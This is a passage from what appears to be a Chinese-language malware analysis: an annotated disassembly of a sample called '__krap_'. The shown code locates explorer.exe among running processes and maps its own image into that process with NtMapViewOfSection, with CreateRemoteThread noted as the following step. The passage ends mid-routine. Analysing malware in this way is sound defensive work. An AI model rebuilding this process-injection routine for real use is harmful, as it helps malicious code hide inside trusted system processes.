&#160; &#160; 00401238&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401239&#160; &#160; 8B45 FC&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-4]
&#160; &#160; 0040123C&#160; &#160; 8B8485 F0EDFFFF mov eax,dword ptr ss:[ebp+eax*4-1210]
&#160; &#160; 00401243&#160; &#160; 85C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test eax,eax
&#160; &#160; 00401245&#160; &#160; 0F84 BC000000&#160; &#160;je __krap_.00401307
&#160; &#160; 0040124B&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 0040124C&#160; &#160; 6A 00&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 0
&#160; &#160; 0040124E&#160; &#160; 68 10040000&#160; &#160;&#160;&#160;push 410
&#160; &#160; 00401253&#160; &#160; FF15 34304000&#160; &#160;call dword ptr ds:[403034]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; kernel32.OpenProcess
&#160; &#160; 00401259&#160; &#160; 57&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edi
&#160; &#160; 0040125A&#160; &#160; 8BD8&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov ebx,eax
&#160; &#160; 0040125C&#160; &#160; 8D85 F0FEFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-110]
&#160; &#160; 00401262&#160; &#160; 6A 00&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 0
&#160; &#160; 00401264&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401265&#160; &#160; E8 3D0A0000&#160; &#160;&#160;&#160;call __krap_.00401CA7&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; 清0,存储模块名字的空间
&#160; &#160; 0040126A&#160; &#160; 83C4 0C&#160; &#160;&#160; &#160;&#160; &#160;add esp,0C
&#160; &#160; 0040126D&#160; &#160; 85DB&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test ebx,ebx
&#160; &#160; 0040126F&#160; &#160; 0F84 8B000000&#160; &#160;je __krap_.00401300
&#160; &#160; 00401275&#160; &#160; 8D45 F0&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-10]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;
&#160; &#160; 00401278&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401279&#160; &#160; 6A 04&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 4
&#160; &#160; 0040127B&#160; &#160; 8D45 F4&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-C]
&#160; &#160; 0040127E&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 0040127F&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401280&#160; &#160; E8 E50E0000&#160; &#160;&#160;&#160;call __krap_.0040216A&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;//枚举进程中的模块
&#160; &#160; 00401285&#160; &#160; 85C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test eax,eax
&#160; &#160; 00401287&#160; &#160; 74 77&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.00401300
&#160; &#160; 00401289&#160; &#160; 57&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edi
&#160; &#160; 0040128A&#160; &#160; 8D85 F0FEFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-110]
&#160; &#160; 00401290&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401291&#160; &#160; FF75 F4&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-C]
&#160; &#160; 00401294&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401295&#160; &#160; E8 CA0E0000&#160; &#160;&#160;&#160;call __krap_.00402164&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// GetModuleFileNameExA
&#160; &#160; 0040129A&#160; &#160; 8D85 F0FEFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-110]
&#160; &#160; 004012A0&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004012A1&#160; &#160; FFD6&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call esi&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 计算获得模块路径的的长度
&#160; &#160; 004012A3&#160; &#160; 85C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test eax,eax
&#160; &#160; 004012A5&#160; &#160; 74 59&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.00401300
&#160; &#160; 004012A7&#160; &#160; 80BD F1FEFFFF 3>cmp byte ptr ss:[ebp-10F],3A&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// 查找任何的盘符 + ":\" 开头的路径
&#160; &#160; 004012AE&#160; &#160; 75 50&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.00401300
&#160; &#160; 004012B0&#160; &#160; 80BD F2FEFFFF 5>cmp byte ptr ss:[ebp-10E],5C
&#160; &#160; 004012B7&#160; &#160; 75 47&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.00401300
&#160; &#160; 004012B9&#160; &#160; FF75 08&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp+8]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// 压入explorer.exe
&#160; &#160; 004012BC&#160; &#160; FFD6&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call esi&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 计算长度&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;
&#160; &#160; 004012BE&#160; &#160; 85C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test eax,eax
&#160; &#160; 004012C0&#160; &#160; 7E 3E&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jle short __krap_.00401300
&#160; &#160; 004012C2&#160; &#160; 8D85 F0FEFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-110]
&#160; &#160; 004012C8&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004012C9&#160; &#160; FFD6&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call esi
&#160; &#160; 004012CB&#160; &#160; EB 12&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short __krap_.004012DF&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 反向查找 '\' ,截取文件名和explorer进行比较
&#160; &#160; 004012CD&#160; &#160; 8A11&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov dl,byte ptr ds:[ecx]
&#160; &#160; 004012CF&#160; &#160; 80FA 40&#160; &#160;&#160; &#160;&#160; &#160;cmp dl,40
&#160; &#160; 004012D2&#160; &#160; 7E 0A&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jle short __krap_.004012DE
&#160; &#160; 004012D4&#160; &#160; 80FA 5B&#160; &#160;&#160; &#160;&#160; &#160;cmp dl,5B
&#160; &#160; 004012D7&#160; &#160; 7D 05&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jge short __krap_.004012DE
&#160; &#160; 004012D9&#160; &#160; 80C2 20&#160; &#160;&#160; &#160;&#160; &#160;add dl,20
&#160; &#160; 004012DC&#160; &#160; 8811&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov byte ptr ds:[ecx],dl
&#160; &#160; 004012DE&#160; &#160; 48&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;dec eax
&#160; &#160; 004012DF&#160; &#160; 8D8C05 F0FEFFFF lea ecx,dword ptr ss:[ebp+eax-110]
&#160; &#160; 004012E6&#160; &#160; 8039 5C&#160; &#160;&#160; &#160;&#160; &#160;cmp byte ptr ds:[ecx],5C
&#160; &#160; 004012E9&#160;&#160;^ 75 E2&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.004012CD
&#160; &#160; 004012EB&#160; &#160; FF75 08&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp+8]
&#160; &#160; 004012EE&#160; &#160; 8D8405 F1FEFFFF lea eax,dword ptr ss:[ebp+eax-10F]
&#160; &#160; 004012F5&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004012F6&#160; &#160; FF15 30304000&#160; &#160;call dword ptr ds:[403030]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; lstrcmpA
&#160; &#160; 004012FC&#160; &#160; 85C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test eax,eax
&#160; &#160; 004012FE&#160; &#160; 74 1B&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.0040131B&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// 如果枚举的进程explorer.exe
&#160; &#160; 00401300&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401301&#160; &#160; FF15 2C304000&#160; &#160;call dword ptr ds:[40302C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; kernel32.CloseHandle
&#160; &#160; 00401307&#160; &#160; 8B45 F8&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-8]
&#160; &#160; 0040130A&#160; &#160; FF45 FC&#160; &#160;&#160; &#160;&#160; &#160;inc dword ptr ss:[ebp-4]
&#160; &#160; 0040130D&#160; &#160; C1E8 02&#160; &#160;&#160; &#160;&#160; &#160;shr eax,2
&#160; &#160; 00401310&#160; &#160; 3945 FC&#160; &#160;&#160; &#160;&#160; &#160;cmp dword ptr ss:[ebp-4],eax
&#160; &#160; 00401313&#160;&#160;^ 0F82 20FFFFFF&#160; &#160;jb __krap_.00401239
&#160; &#160; 00401319&#160; &#160; EB 0A&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short __krap_.00401325
&#160; &#160; 0040131B&#160; &#160; 8B45 FC&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-4]
&#160; &#160; 0040131E&#160; &#160; 8B8485 F0EDFFFF mov eax,dword ptr ss:[ebp+eax*4-1210]&#160; &#160; // 保留explorer.exe的进程ID
&#160; &#160; 00401325&#160; &#160; 5B&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;pop ebx
&#160; &#160; 00401326&#160; &#160; 5E&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;pop esi
&#160; &#160; 00401327&#160; &#160; 5F&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;pop edi
&#160; &#160; 00401328&#160; &#160; C9&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;leave
&#160; &#160; 00401329&#160; &#160; C3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;retn

&#160; &#160; // 对explorer.exe的注入采用的NtMapViewOfSection + CreateRemoteThread

&#160; &#160; 00401D36&#160; &#160;&#160; &#160;&#160;&#160;55&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebp
&#160; &#160; 00401D37&#160; &#160;&#160; &#160;&#160;&#160;8BEC&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov ebp,esp
&#160; &#160; 00401D39&#160; &#160;&#160; &#160;&#160;&#160;81EC 0C030000&#160; &#160;sub esp,30C
&#160; &#160; 00401D3F&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401D40&#160; &#160;&#160; &#160;&#160;&#160;56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00401D41&#160; &#160;&#160; &#160;&#160;&#160;57&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edi
&#160; &#160; 00401D42&#160; &#160;&#160; &#160;&#160;&#160;E8 B8FFFFFF&#160; &#160;&#160;&#160;call __krap_.00401CFF
&#160; &#160; 00401D47&#160; &#160;&#160; &#160;&#160;&#160;25 0000FFFF&#160; &#160;&#160;&#160;and eax,FFFF0000
&#160; &#160; 00401D4C&#160; &#160;&#160; &#160;&#160;&#160;8B78 3C&#160; &#160;&#160; &#160;&#160; &#160;mov edi,dword ptr ds:[eax+3C]
&#160; &#160; 00401D4F&#160; &#160;&#160; &#160;&#160;&#160;03F8&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;add edi,eax
&#160; &#160; 00401D51&#160; &#160;&#160; &#160;&#160;&#160;8945 F8&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-8],eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;
&#160; &#160; 00401D54&#160; &#160;&#160; &#160;&#160;&#160;8D47 18&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ds:[edi+18]
&#160; &#160; 00401D57&#160; &#160;&#160; &#160;&#160;&#160;8945 E0&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-20],eax
&#160; &#160; 00401D5A&#160; &#160;&#160; &#160;&#160;&#160;8B40 38&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ds:[eax+38]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; //自身的Size0fImage
&#160; &#160; 00401D5D&#160; &#160;&#160; &#160;&#160;&#160;33DB&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;xor ebx,ebx
&#160; &#160; 00401D5F&#160; &#160;&#160; &#160;&#160;&#160;6A 09&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 9&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// 查看是否支持PAE扩展
&#160; &#160; 00401D61&#160; &#160;&#160; &#160;&#160;&#160;8945 F0&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-10],eax
&#160; &#160; 00401D64&#160; &#160;&#160; &#160;&#160;&#160;885D FF&#160; &#160;&#160; &#160;&#160; &#160;mov byte ptr ss:[ebp-1],bl
&#160; &#160; 00401D67&#160; &#160;&#160; &#160;&#160;&#160;FF15 98304000&#160; &#160;call dword ptr ds:[403098]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; //IsProcessorFeaturePresent
&#160; &#160; 00401D6D&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401D6E&#160; &#160;&#160; &#160;&#160;&#160;FF75 F0&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-10]
&#160; &#160; 00401D71&#160; &#160;&#160; &#160;&#160;&#160;8BF0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov esi,eax
&#160; &#160; 00401D73&#160; &#160;&#160; &#160;&#160;&#160;F7DE&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;neg esi
&#160; &#160; 00401D75&#160; &#160;&#160; &#160;&#160;&#160;1BF6&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;sbb esi,esi
&#160; &#160; 00401D77&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // hFile&#160; &#160;&#160; &#160;&#160;&#160;= FFFFFFFF
&#160; &#160; 00401D78&#160; &#160;&#160; &#160;&#160;&#160;83E6 3C&#160; &#160;&#160; &#160;&#160; &#160;and esi,3C&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// pSecurity&#160; &#160; = NULL
&#160; &#160; 00401D7B&#160; &#160;&#160; &#160;&#160;&#160;83C6 04&#160; &#160;&#160; &#160;&#160; &#160;add esi,4&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// Protection&#160; &#160;= PAGE_EXECUTE_READWRITE
&#160; &#160; 00401D7E&#160; &#160;&#160; &#160;&#160;&#160;56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // Max_SizeHigh = 0
&#160; &#160; 00401D7F&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // Max_SizeLow&#160;&#160;= A000 -> 自身 Size0fImage 大小
&#160; &#160; 00401D80&#160; &#160;&#160; &#160;&#160;&#160;6A FF&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push -1&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// MapName&#160; &#160;&#160; &#160;= Null
&#160; &#160; 00401D82&#160; &#160;&#160; &#160;&#160;&#160;FF15 94304000&#160; &#160;call dword ptr ds:[403094]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // call kernel32.CreateFileMappingA
&#160; &#160; 00401D88&#160; &#160;&#160; &#160;&#160;&#160;3BC3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;cmp eax,ebx
&#160; &#160; 00401D8A&#160; &#160;&#160; &#160;&#160;&#160;8945 E8&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-18],eax
&#160; &#160; 00401D8D&#160; &#160;&#160; &#160;&#160;&#160;75 07&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.00401D96
&#160; &#160; 00401D8F&#160; &#160;&#160; &#160;&#160;&#160;32C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;xor al,al
&#160; &#160; 00401D91&#160; &#160;&#160; &#160;&#160;&#160;E9 56010000&#160; &#160;&#160;&#160;jmp __krap_.00401EEC
&#160; &#160; 00401D96&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401D97&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401D98&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401D99&#160; &#160;&#160; &#160;&#160;&#160;6A 02&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 2
&#160; &#160; 00401D9B&#160; &#160;&#160; &#160;&#160;&#160;50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401D9C&#160; &#160;&#160; &#160;&#160;&#160;FF15 90304000&#160; &#160;call dword ptr ds:[403090]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; call&#160;&#160;MapViewOfFile
&#160; &#160; 00401DA2&#160; &#160;&#160; &#160;&#160;&#160;3BC3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;cmp eax,ebx
&#160; &#160; 00401DA4&#160; &#160;&#160; &#160;&#160;&#160;8945 F4&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-C],eax
&#160; &#160; 00401DA7&#160; &#160;&#160; &#160;&#160;&#160;0F84 33010000&#160; &#160;je __krap_.00401EE0
&#160; &#160; 00401DAD&#160; &#160;&#160; &#160;&#160;&#160;68 1C344000&#160; &#160;&#160;&#160;push __krap_.0040341C&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; ASCII "NtMapViewOfSection"
&#160; &#160; 00401DB2&#160; &#160;&#160; &#160;&#160;&#160;8D45 C0&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-40]
&#160; &#160; 00401DB5&#160; &#160;&#160; &#160;&#160;&#160;50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401DB6&#160; &#160;&#160; &#160;&#160;&#160;FF15 1C304000&#160; &#160;call dword ptr ds:[40301C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; kernel32.lstrcpyA
&#160; &#160; 00401DBC&#160; &#160;&#160; &#160;&#160;&#160;68 10344000&#160; &#160;&#160;&#160;push __krap_.00403410&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; ASCII "ntdll.dll"
&#160; &#160; 00401DC1&#160; &#160;&#160; &#160;&#160;&#160;FF15 6C304000&#160; &#160;call dword ptr ds:[40306C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; kernel32.LoadLibraryA
&#160; &#160; 00401DC7&#160; &#160;&#160; &#160;&#160;&#160;8D4D C0&#160; &#160;&#160; &#160;&#160; &#160;lea ecx,dword ptr ss:[ebp-40]
&#160; &#160; 00401DCA&#160; &#160;&#160; &#160;&#160;&#160;51&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ecx
&#160; &#160; 00401DCB&#160; &#160;&#160; &#160;&#160;&#160;50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401DCC&#160; &#160;&#160; &#160;&#160;&#160;FF15 7C304000&#160; &#160;call dword ptr ds:[40307C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; kernel32.GetProcAddress
&#160; &#160; 00401DD2&#160; &#160;&#160; &#160;&#160;&#160;8B4D F0&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ss:[ebp-10]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 从ntdll 中 导出zwMapViewOfSection
&#160; &#160; 00401DD5&#160; &#160;&#160; &#160;&#160;&#160;56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00401DD6&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401DD7&#160; &#160;&#160; &#160;&#160;&#160;6A 01&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 1
&#160; &#160; 00401DD9&#160; &#160;&#160; &#160;&#160;&#160;894D E4&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-1C],ecx
&#160; &#160; 00401DDC&#160; &#160;&#160; &#160;&#160;&#160;8D4D E4&#160; &#160;&#160; &#160;&#160; &#160;lea ecx,dword ptr ss:[ebp-1C]
&#160; &#160; 00401DDF&#160; &#160;&#160; &#160;&#160;&#160;51&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ecx
&#160; &#160; 00401DE0&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401DE1&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401DE2&#160; &#160;&#160; &#160;&#160;&#160;53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401DE3&#160; &#160;&#160; &#160;&#160;&#160;8D4D EC&#160; &#160;&#160; &#160;&#160; &#160;lea ecx,dword ptr ss:[ebp-14]
&#160; &#160; 00401DE6&#160; &#160;&#160; &#160;&#160;&#160;51&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ecx
&#160; &#160; 00401DE7&#160; &#160;&#160; &#160;&#160;&#160;FF75 0C&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp+C]
&#160; &#160; 00401DEA&#160; &#160;&#160; &#160;&#160;&#160;895D EC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-14],ebx
&#160; &#160; 00401DED&#160; &#160;&#160; &#160;&#160;&#160;FF75 E8&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-18]
&#160; &#160; 00401DF0&#160; &#160;&#160; &#160;&#160;&#160;FFD0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// 映射一段0xA000大小的空间
&#160; &#160; 00401DF2&#160; &#160;&#160; &#160;&#160;&#160;FF75 F0&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-10]
&#160; &#160; 00401DF5&#160; &#160;&#160; &#160;&#160;&#160;FF75 F8&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-8]
&#160; &#160; 00401DF8&#160; &#160;&#160; &#160;&#160;&#160;FF75 F4&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-C]
&#160; &#160; 00401DFB&#160; &#160;&#160; &#160;&#160;&#160;E8 DAFEFFFF&#160; &#160;&#160;&#160;call __krap_.00401CDA&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 拷贝自身数据到Mapping的空间中
&#160; &#160; 00401E00&#160; &#160;&#160; &#160;&#160;&#160;0FB747 14&#160; &#160;&#160; &#160; movzx eax,word ptr ds:[edi+14]&#160; &#160;&#160; &#160;&#160; &#160; // SizeOfOptionalHeader = E0&#160;&#160;
&#160; &#160; 00401E04&#160; &#160;&#160; &#160;&#160;&#160;0345 E0&#160; &#160;&#160; &#160;&#160; &#160;add eax,dword ptr ss:[ebp-20]&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// 定位到第一个节表
&#160; &#160; 00401E07&#160; &#160;&#160; &#160;&#160;&#160;8B75 EC&#160; &#160;&#160; &#160;&#160; &#160;mov esi,dword ptr ss:[ebp-14]
&#160; &#160; 00401E0A&#160; &#160;&#160; &#160;&#160;&#160;8B48 34&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ds:[eax+34]&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// 得到VirtualAddress
&#160; &#160; 00401E0D&#160; &#160;&#160; &#160;&#160;&#160;8BFE&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov edi,esi
&#160; &#160; 00401E0F&#160; &#160;&#160; &#160;&#160;&#160;2B7D F8&#160; &#160;&#160; &#160;&#160; &#160;sub edi,dword ptr ss:[ebp-8]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// edi = dif(地址差值) == NtMapViewOfSection映射的地址 -&#160;&#160;MapViewOfFile映射地址
&#160; &#160; 00401E12&#160; &#160;&#160; &#160;&#160;&#160;83C4 0C&#160; &#160;&#160; &#160;&#160; &#160;add esp,0C
&#160; &#160; 00401E15&#160; &#160;&#160; &#160;&#160;&#160;034D F8&#160; &#160;&#160; &#160;&#160; &#160;add ecx,dword ptr ss:[ebp-8]
&#160; &#160; 00401E18&#160; &#160;&#160; &#160;&#160;&#160;66:8139 8DBE&#160; &#160; cmp word ptr ds:[ecx],0BE8D&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 查找节中一段特征指令 lea edi,dword ptr ds:[esi+5000]
